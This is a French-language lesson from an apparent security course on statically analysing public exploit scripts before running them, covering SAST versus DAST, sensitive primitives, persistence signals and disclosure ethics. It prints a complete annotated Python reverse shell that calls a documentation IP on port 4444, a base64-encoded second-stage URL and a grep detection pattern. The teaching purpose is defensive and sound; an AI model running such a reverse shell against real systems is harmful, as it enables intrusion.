Analyse de code offensif — Notions
Un exploit public n'est pas une recette. C'est un programme que quelqu'un d'autre a écrit, parfois pour documenter une faille, parfois pour installer la sienne par-dessus. Le lire sans le lancer est un métier. Cette leçon pose la méthode, les signaux, et la façon d'en faire un constat.
Ouvrir un script « d'exploit » dans l'interpréteur, c'est accepter de devenir la cible. Un dépôt GitHub intitulé PoC CVE-20xx contient régulièrement un second étage : rappel réseau, clé SSH ajoutée, tâche planifiée. La lecture se fait dans un éditeur, avec less, bat ou Get-Content. Pas avec python exploit.py.
Ce que vous saurez faire après cette leçon
- Distinguer SAST et DAST, et savoir laquelle ouvrir en premier devant un outil offensif.
- Appliquer une lecture statique en quatre étapes avant toute exécution.
- Nommer les primitives sensibles (
eval,exec,socket,pickle, appels shell) et ce qu'elles trahissent. - Reconstituer le modèle de menace d'un script : privilège, version, réseau, persistance.
- Repérer en quelques secondes les signaux d'alerte : URL ou IP en dur, base64, XOR, écritures dans
authorized_keys,crontab,Registry\Run. - Rédiger un constat (preuve, impact, remédiation) et connaître le cadre d'une divulgation coordonnée.
1. SAST contre DAST — deux regards, un ordre
Deux familles d'analyse, deux objets, deux mensonges différents.
| Approche | Ce que vous examinez | Ce que vous exécutez | Ce que vous obtenez |
|---|---|---|---|
| SAST (Static Application Security Testing) | Le source, le bytecode, le script, le binaire démonté | Rien de la cible, rien du script | Candidats, primitives, secrets, chemins morts |
| DAST (Dynamic Application Security Testing) | L'application qui tourne | Des requêtes, parfois des charges | Confirmations, comportements, faux positifs différents |
La SAST répond à : « qu'est-ce que ce code est capable de faire ? » La DAST répond à : « qu'est-ce que ce service fait vraiment quand on le sollicite ? »
Devant un outil offensif (exploit public, script d'automatisation, module Metasploit récupéré hors cadre), l'ordre n'est pas négociable : SAST d'abord. Vous n'avez pas encore le droit de découvrir « dynamiquement » ce que le script envoie vers 203.0.113.7.
Devant une application que vous auditez (lab, mission, dépôt client), les deux se complètent. Semgrep et Bandit dressent la liste des candidats. Burp et les tests manuels confirment ce qui est joignable. Un constat de revue de code s'appuie souvent sur la SAST seule : la preuve est une ligne, pas une capture de shell.
Toutes les IP d'exemple sont des plages de documentation (RFC 5737), notamment 203.0.113.0/24. Elles ne routent pas vers une machine réelle. Si un script que vous lisez pointe ailleurs — plage résidentielle, VPS, domaine inconnu — c'est déjà un signal.
2. Pourquoi la lecture statique passe avant l'exécution
Trois raisons, aucune n'est théorique.
Vous pouvez devenir la victime. Le fichier s'appelle exploit.py. Au premier import, il ouvre un socket, écrit une clé, télécharge un second script. Le titre du dépôt ne vous protège pas. Les « PoC » les plus partagés sont aussi les plus recopiés, et les plus souvent ré-armés.
Vous pouvez sortir du cadre. Lancer un exploit sans avoir lu la cible, la version, le prérequis réseau, c'est attaquer à l'aveugle. Hors lab et hors RoE, c'est un délit. Même en mission, un script qui balaie 10.0.0.0/8 alors que le périmètre est un /28 vous met hors contrat.
Vous ratez ce qui survit au shell. Beaucoup d'élèves s'arrêtent à « ça ouvre un /bin/sh ». La question utile vient après : est-ce que ça reste ? Une ligne dans crontab, une valeur sous HKCU\...\Run, une clé dans ~/.ssh/authorized_keys vaut plus, pour le défenseur comme pour le rapport, que le shell lui-même.
La règle simple : si je n'arrive pas à raconter le script à quelqu'un d'autre, je n'ai pas le droit de le lancer.
3. La méthode de lecture, en quatre étapes
C'est la même grille pour un reverse shell de dix lignes et pour un framework de deux cents fichiers.
3.1. Statique d'abord
Ouvrir dans un éditeur. Lister les imports, les fichiers inclus, les appels réseau, les écritures disque. Ne pas compiler « pour voir ». Ne pas import un module inconnu : en Python, le simple import exécute le corps du fichier.
# Lecture, pas exécution
less exploit.py
bat --paging=never exploit.py
Get-Content .\outil.ps1
strings -n 8 binaire_inconnu | less
3.2. Localiser les primitives sensibles
Une primitive est un appel qui change le monde : exécuter du code, ouvrir le réseau, écrire un fichier de confiance, désactiver une défense. Vous les cherchez avant de comprendre le reste. Un tableau suffit.
| Primitive | Langages fréquents | Ce qu'elle permet | Lecture |
|---|---|---|---|
eval, exec | Python, PHP | Exécuter une chaîne comme du code | La charge arrive souvent d'ailleurs (réseau, fichier, argument) |
Function, setTimeout(string) | JavaScript | Idem côté navigateur ou Node | XSS stockée ou outil d'obfuscation |
socket, connect, requests.get | Python, C, Go | Rappel ou téléchargement | C2, reverse shell, second étage |
subprocess, os.system, Runtime.exec | Python, Java | Shell | Commande construite, souvent injectable |
pickle.loads, yaml.load, unserialize | Python, PHP | Désérialisation | Exécution de code au chargement |
ctypes, réflexion, Native | Python, Java, .NET | Appels bas niveau | Contournement, injection |
os.dup2 | Python, C | Rediriger stdin/stdout/stderr | Marqueur classique de reverse shell |
Vous n'avez pas besoin de tout comprendre du script pour entourer ces appels. Le reste de la lecture s'accroche dessus.
3.3. Identifier la charge utile
Trois questions, dans cet ordre :
- Qu'est-ce qu'elle installe ou écrase ? Binaire, clé, service, variable d'environnement.
- Qui contacte-t-elle ? IP, domaine, port, protocole, sens (entrant / sortant).
- Qu'est-ce qu'elle persiste ? Rien (shell éphémère), ou un mécanisme qui survit au reboot.
Un reverse shell TCP de six lignes n'installe souvent rien. Un « correctif » de cinquante lignes qui touche authorized_keys installe une porte. Ce n'est pas la même famille, ce n'est pas le même constat.
3.4. Reconstituer le modèle de menace
Un script sans modèle de menace est une anecdote. Vous devez pouvoir remplir ce tableau avant de conclure.
| Question | Pourquoi elle compte |
|---|---|
| Quel privilège faut-il déjà avoir ? | Local user, session web authentifiée, anonyme distant : l'impact change. |
| Quelle version, quel produit ? | Un exploit WordPress 4.7 ne dit rien d'un 6.x. |
| Quels prérequis réseau ? | Sortie TCP 4444, DNS, SMB, localhost seulement. |
| À quoi ressemble le succès ? | Shell, vol de jeton, écriture de fichier, déni de service. |
| Que reste-t-il après ? | Rien, ou une persistance à faire retirer par le client. |
Sans cette dernière case, vous ne savez pas quoi recommander. Un shell sans persistance se ferme. Une clé SSH ne se ferme pas.
4. Les signaux à repérer immédiatement
Vous n'aurez pas toujours le temps d'une revue complète. Ces motifs se voient en balayage, souvent à grep.
| Signal | Où il apparaît | Lecture |
|---|---|---|
| URL en dur vers un tiers | http://, https://, ftp:// | Téléchargement de second étage, exfiltration, « mise à jour » |
| IP littérale | Surtout hors RFC 1918 et hors plages de documentation | C2, rappel, scan interne mal cadré |
| base64 ou XOR | Chaînes longues, b64decode, bytes([…]) ^ cle | Charge ou URL cachée — à décoder, pas à exécuter |
~/.ssh/authorized_keys | echo, >>, open(..., "a") | Persistance SSH : une clé de l'attaquant devient un login légitime |
crontab / schtasks | @reboot, * * * * * | Persistance temporelle |
Registry\Run | HKCU\Software\Microsoft\Windows\CurrentVersion\Run | Persistance session Windows |
| Sabotage de défense | Set-MpPreference -DisableRealtimeMonitoring, arrêt de ufw / iptables | Le script prépare le terrain ; le constater vaut un constat à part |
# Balayage statique — le fichier n'est pas interprété
grep -nE 'eval|exec\(|socket|subprocess|pickle|b64|base64|xor|authorized_keys|crontab|DisableRealtimeMonitoring' exploit.py
Une IP en 203.0.113.0/24 dans ce cours est un exemple. La même forme dans un script téléchargé ce matin est un rappel externe. Une IP en 192.0.2.0/24 ou 198.51.100.0/24 aussi (RFC 5737). Une IP en 8.8.8.8 n'est pas un C2, c'est souvent un résolveur. Une IP en 185.x ou 45.x résidentielle / VPS mérite qu'on ouvre whois avant de continuer.
4.1. Exemple annoté — reverse shell Python
Le fragment ci-dessous est pédagogique. Il ne s'exécute pas dans cette page, et vous ne le lancez pas.
# À NE PAS EXÉCUTER — annotation pédagogique.
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # socket TCP
s.connect(("203.0.113.7", 4444)) # rappel externe codé en dur
os.dup2(s.fileno(), 0) # redirection stdin
os.dup2(s.fileno(), 1) # redirection stdout
os.dup2(s.fileno(), 2) # redirection stderr
subprocess.call(["/bin/sh", "-i"]) # shell interactif
Lecture, ligne à ligne :
| Ligne | Primitive | Ce qu'elle fait | Ce qu'elle ne fait pas |
|---|---|---|---|
socket(...) | Réseau | Crée un descripteur TCP | N'écoute pas : c'est un client |
connect(("203.0.113.7", 4444)) | Rappel | Joint une IP et un port en dur | Aucune résolution DNS, aucun chiffrement |
os.dup2(..., 0/1/2) | Redirection | Le shell parlera dans le socket | Aucune authentification |
subprocess.call(["/bin/sh", "-i"]) | Exécution | Shell interactif | Aucune persistance, aucune obfuscation |
Modèle de menace en une phrase : reverse shell TCP sortant, prérequis = pouvoir exécuter du Python sur la machine, succès = shell distant, reste = rien (processus éphémère). Détection possible : règle de sortie inhabituelle vers le port 4444, ou simple lecture du source.
C'est le cas le plus lisible. La démonstration suivante ajoute un script bash qui, lui, persiste, et des outils qui trouvent tout seuls les mêmes motifs dans une application.
4.2. base64 et XOR — décoder n'est pas lancer
Une chaîne opaque n'est pas un argument pour « essayer le script ». C'est un argument pour la décoder dans un calepin.
# Décodage isolé : on obtient du texte, on ne le pipe pas vers un interpréteur
printf '%s' 'aHR0cHM6Ly8yMDMuMC4xMTMuNy9vdXRpbHMvbWFqLnNo' | base64 -d
# → https://203.0.113.7/outils/maj.sh
# XOR pédagogique : la clé 0x13 est dans le script, visible
chiffre = bytes.fromhex("2123203d233d2222203d24")
clair = bytes(b ^ 0x13 for b in chiffre)
# clair == b'203.0.113.7' — à noter, pas à joindre
Le résultat du décodage réintègre la grille : URL tierce, IP, commande. Vous le rangez dans le modèle de menace. Vous ne le curl pas, vous ne le bash pas.
5. Ce que les outils changent — et ce qu'ils ne changent pas
Semgrep, Bandit, Gitleaks, ripgrep : ce sont des accélérateurs de lecture, pas des remplacements.
| Outil | Force | Limite |
|---|---|---|
| Semgrep | Règles multi-langages, motifs (SQLi, injections, secrets) | Règle absente = trou ; faux positifs sur du code mort |
| Bandit | Spécialisé Python, IDs stables (B301, B608) | Ignore le PHP, le PS1, le bash hors Python |
| Gitleaks | Secrets en dur, clés AWS, jetons | Ne comprend pas une primitive eval |
grep / rg | Vous choisissez le motif | Vous ne trouvez que ce que vous savez nommer |
Un outil qui ne dit rien ne prouve pas l'absence de charge. Un outil qui crie sur eval d'une chaîne constante dans un test unitaire ne prouve pas un RCE. Vous restez le lecteur. La démonstration montre la sortie réelle ; l'atelier vous fait trancher.
La SAST surestime (un execute sur une constante) et sous-estime (une primitive cachée derrière deux fonctions à vous). Un constat s'appuie sur la ligne lue, pas sur le seul identifiant Bandit. Inversement, « Bandit n'a rien dit » n'est pas une conclusion d'audit.
6. Documenter comme on rédige un constat
Lire ne sert que si ça sort dans le rapport. Un outil offensif, ou une faille trouvée dans le source, se documente avec les mêmes trois blocs que le module rapport.
- Preuve — fichier, ligne, extrait, identifiant d'outil. Pas « le script a l'air dangereux ».
- Impact — qui peut quoi, avec quel prérequis. Un
pickle.loadssur une route anonyme n'a pas le même impact qu'unmd5sur un mot de passe interne. - Remédiation — le correctif, ou le retrait de la persistance, ou la règle de détection. Une phrase actionnable.
Ajoutez, quand c'est un outil et pas une appli : la recommandation de ne pas l'exécuter, le modèle de menace, et ce que le SOC peut déjà bloquer (sortie 4444, écriture authorized_keys).
C'est le même réflexe que pour une SQLi : le lecteur du rapport doit pouvoir vérifier sans relancer l'attaque. Ici, il vérifie en ouvrant le fichier.
7. Éthique — publier n'est pas anodin
Publier un exploit fonctionnel — y compris « pour la science » — engage trois devoirs. L'index du module les pose ; ils tiennent hors de l'école.
- Délai de divulgation coordonnée avec l'éditeur. Le chercheur prévient, l'éditeur corrige, puis le détail sort. Les délais usuels tournent autour de 90 jours ; le contrat ou la politique du prestataire prime.
- Remédiation documentée. Un PoC sans correctif, sans version patchée, sans mesure de détection, est une arme livrée sans notice. Votre constat doit porter le remède.
- Cadre de responsabilité vis-à-vis des utilisateurs. Recopier un exploit dans un dépôt public « pour les élèves » sans le désarmer (IP de documentation,
exiten tête, bandeau ne pas exécuter) fait de vous un diffuseur.
Ce cours montre des extraits annotés, des IPs RFC 5737, des dépôts volontairement vulnérables que vous créez en local. Il ne vous demande jamais de pousser un exploit armé, ni de viser un système hors lab.
8. Les confusions qui coûtent le plus de temps
- « Je lance, je verrai bien. » Vous verrez surtout le second étage. La lecture est le contrôle.
- « SAST = DAST sans les paquets. » Non. La SAST ne confirme pas qu'une route est joignable. La DAST ne lit pas une persistance qui n'a pas encore été déclenchée.
- « Pas d'obfuscation, donc pas dangereux. » Le reverse shell de la section 4 n'a aucune obfuscation. Il est parfaitement dangereux si on l'exécute.
- « C'est un outil d'admin, donc c'est sain. » Un script bash qui « met à jour le parc » et réécrit
authorized_keysest un outil d'admin et une persistance. Le nom du fichier ne tranche pas. - « Gitleaks a trouvé une clé d'exemple, donc tout est rouge. »
AKIAIOSFODNN7EXAMPLEest la clé de la documentation AWS. Vous qualifiez : exemple, révoquée, ou secrète réelle. Le rapport ne dilue pas les vraies fuites.
Ce qu'il faut retenir
La lecture statique est le seul contrôle qui précède l'exécution. SAST et DAST ne se remplacent pas : l'une lit le capable, l'autre le réel. Vous cherchez d'abord les primitives (eval, socket, shell, désérialisation), puis la charge, puis le modèle de menace. Les signaux (URL/IP en dur, base64, XOR, authorized_keys, crontab, Registry\Run) se balayent en une commande. Un outil accélère ; il ne signe pas le constat. Publier un exploit fonctionnel sans délai coordonné, sans remède et sans cadre, sort de ce métier.
Prochaine leçon : on annote un reverse shell et un script bash sans les lancer, puis on lit la sortie de Semgrep, Bandit et Gitleaks sur une application Flask.